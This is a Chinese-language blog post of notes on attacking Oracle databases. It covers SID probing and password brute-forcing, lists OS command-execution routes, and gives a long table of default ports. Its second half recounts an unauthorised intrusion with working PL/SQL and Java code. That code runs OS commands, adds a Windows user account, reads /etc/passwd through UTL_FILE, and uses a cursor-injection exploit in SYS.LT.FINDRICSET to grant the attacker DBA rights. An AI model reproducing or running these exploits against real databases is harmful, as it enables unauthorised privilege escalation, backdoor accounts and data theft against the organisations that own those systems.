天天看點

hacking oracle筆記

###author:hiphop###

###qq:70381908###

為什麼要關注 Oracle ?

因為Oracle 被大量企業所使用,有許多目标可以選擇來滲透

許多企業都沒有更新且有潛在的方險!

提權非常簡單,容易拿到shell!!

讀了blackhat paper 讓我開始來研究Oracle

因為他隻講到一小部份 真正安全問題還有很廣的

隻是國内好像很少挖掘

因為遇到的環境不多

但是阿 Oracle 是 free download 呵呵

付費才可以upgrade

一般連接配接 Oracle 需要以下幾個條件:

IP

PORT

SID

username/password

The Oracle listener default port is 1521

generally in the 1521-1540 range

掃描刺探不會跟你說用什麼版本但新版的nmap 可以取得到一些,使用TNS packet可以解決這個問題

TNS packet 可以了解 oracle 版本

SID 刺探方式:

1.TNS listener directly

2.brute force for default sid

3.query other component 可能包含有SID

u/p 破解

提權方法:

提權 1 java function

Win32Exec

提權2 smbrelay

Run OS commands via sql injection in web applications

Run OS commands via create table

Run OS commands via dbms scheduler

Run OS commands via PL/SQL and Extproc

Run OS commands via Java

Run OS commands via Oracle Text

Run OS commands via PL/SQL Native (9i)

Run OS commands via PL/SQL Native (10g / 11g)

Run OS commands via alter system set events

還會陸續增加!!

此文隻是我的research 的小筆記

另外介紹一款工具 可以做到部份唷 py寫的

注:

Oracle default port list

Oracle HTTP Server listen port / Oracle HTTP Server port

80

Oracle Application Server

Edit httpd.conf and restart OHS

Oracle Internet Directory(non-SSL)

389

Oracle HTTP Server SSL port

443

Oracle Internet Directory(SSL)

636

Oracle Net Listener / Enterprise Manager Repository port

1521

Oracle Application Server / Oracle Database

Edit listener.ora and restart listener

Oracle Net Listener

1526

Oracle Database

Oracle Names

1575

Edit names.ora and restart names server

Oracle Connection Manager (CMAN)

1630

Oracle Connection Manager

Edit cman.ora and restart Connection Manager

Oracle JDBC for Rdb Thin Server

1701

Oracle Rdb

Oracle Intelligent Agent

1748

snmp_rw.ora

1754

1808

1809

Enterprise Manager Servlet port SSL

1810

Oracle Enterprise Manager

Oracle Connection Manager Admin (CMAN)

1830

Enterprise ManagerAgent port

1831

Enterprise Manager  RMI port

1850

Oracle XMLDB FTP Port

2100

change dbms_xdb.cfg_update

Oracle GIOP IIOP

2481

Edit listener.ora/init.ora and restart listener/database

Oracle GIOP IIOP for SSL

2482

Oracle OC4J RMI

3201

Oracle OC4J AJP

3301

Enterprise Manager Reporting port

3339

Edit oem_webstage/oem.conf and restart OHS

Oracle OC4J IIOP

3401

Oracle OC4J IIOPS1

3501

Oracle OC4J IIOPS2

3601

Oracle OC4J JMS

3701

Oracle9iAS Web Cache Admin port

4000

Webcache Admin GUI or webcache.xml

Oracle9iAS Web Cache Invalidation port

4001

Oracle9iAS Web Cache Statistics port

4002

4031

4032

OracleAS Certificate Authority (OCA) - Server Authentication

4400

OracleAS Certificate Authority (OCA) - Mutual Authentication

4401

Oracle HTTP Server SSL  port

4443

Oracle9iAS Web Cache HTTP Listen(SSL) port

4444

Oracle TimesTen

4662

4758

4759

4761

4764

4766

4767

Oracle Enterprise Manager Web Console

5500

Oracle Enterprise Manager Web

iSQLPlus 10g

5560

Oracle i*SQLPlus

5580

Oracle i*SQLPlus RMI Port

Oracle Notification Service request port

6003

Oracle Notification Service local port

6100

Oracle Notification Service remote port

6200

Oracle9iAS Clickstream Collector Agent

6668

Java Object Cache port

7000

DCM Java Object Cache port

7100

Oracle HTTP Server Diagnostic Port

7200

Oracle HTTP Server Port Tunneling

7501

7777

Oracle9iAS Web Cache HTTP Listen(non-SSL) port

7779

Oracle HTTP Server Jserv port

8007

OC4J Forms / Reports Instance

8888

Oracle Developer Suite

8889

Oracle Forms Server 6 / 6i

9000

Oracle SOAP Server

9998

OS Agent

14000

Oracle Times Ten

15000

15002

15004

Log Loader

44000

這是兩年前的一篇筆記。内容有删減。

先是通過某個邪惡的方法連接配接了oracle伺服器......(過程略)

很快便連接配接上oracle伺服器,此時發現:

1.連接配接後不是dba權限

2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權限

3.運作SELECT UTL_HTTP.request('http://xxxxxxxxxxx/login.jsp') FROM dual 後發現oracle伺服器不能連接配接網絡。

幸運的是,

運作

create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

成功!這個使用者具有create proceduce權限。

此時馬上想到建立java擴充執行指令:

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"/n";myReader.close();return str;} catch (Exception e){return e.toString();}}}

begin dbms_java.grant_permission('PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );end;

create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name 'LinxUtil.runCMD(java.lang.String) return String'

select  * from all_objects where  object_name like '%LINX%'

grant all on LinxRunCMD to public

select  LinxRunCMD('cmd /c net user linx /add') from dual

但是在第一步就卡住了,伺服器由于某種未知原因 不能建立java擴充!!

還好,我們還有UTL庫可以利用:

create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is

fHandler UTL_FILE.FILE_TYPE;

buf      varchar2(4000);

output      varchar2(8000);

BEGIN

fHandler := UTL_FILE.FOPEN('UTL_FILE_DIR', filename, 'r');

loop  

begin  

utl_file.get_line(fHandler,buf);  

DBMS_OUTPUT.PUT_LINE('Cursor: '||buf);

exception    

when   no_data_found   then   exit;  

end;  

output := output||buf||chr(10);

end   loop;  

UTL_FILE.FCLOSE(fHandler);

return output;

END;

UTL_FILE_DIR需要先用:

CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';

指定目錄。但運作後發現沒有權限。隻好想辦法提權。

***************遊标注射***************

老外寫了N個pdf介紹這技術,我精簡了代碼:

DECLARE

MYC NUMBER;

MYC := DBMS_SQL.OPEN_CURSOR;

DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''GRANT DBA TO linxlinx_current_db_user'';commit;end;',0);

DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);

BEGIN SYS.LT.FINDRICSET('.''||dbms_sql.execute(    '||MYC||'      )||'''')--','x'); END;

raise NO_DATA_FOUND;

EXCEPTION

WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);

WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);   

運作後重新連接配接就有dba權限了,簡單吧......

現在可以讀取檔案了:

select LinxUTLReadfile('passwd') from dual

後面就簡單了,不寫了。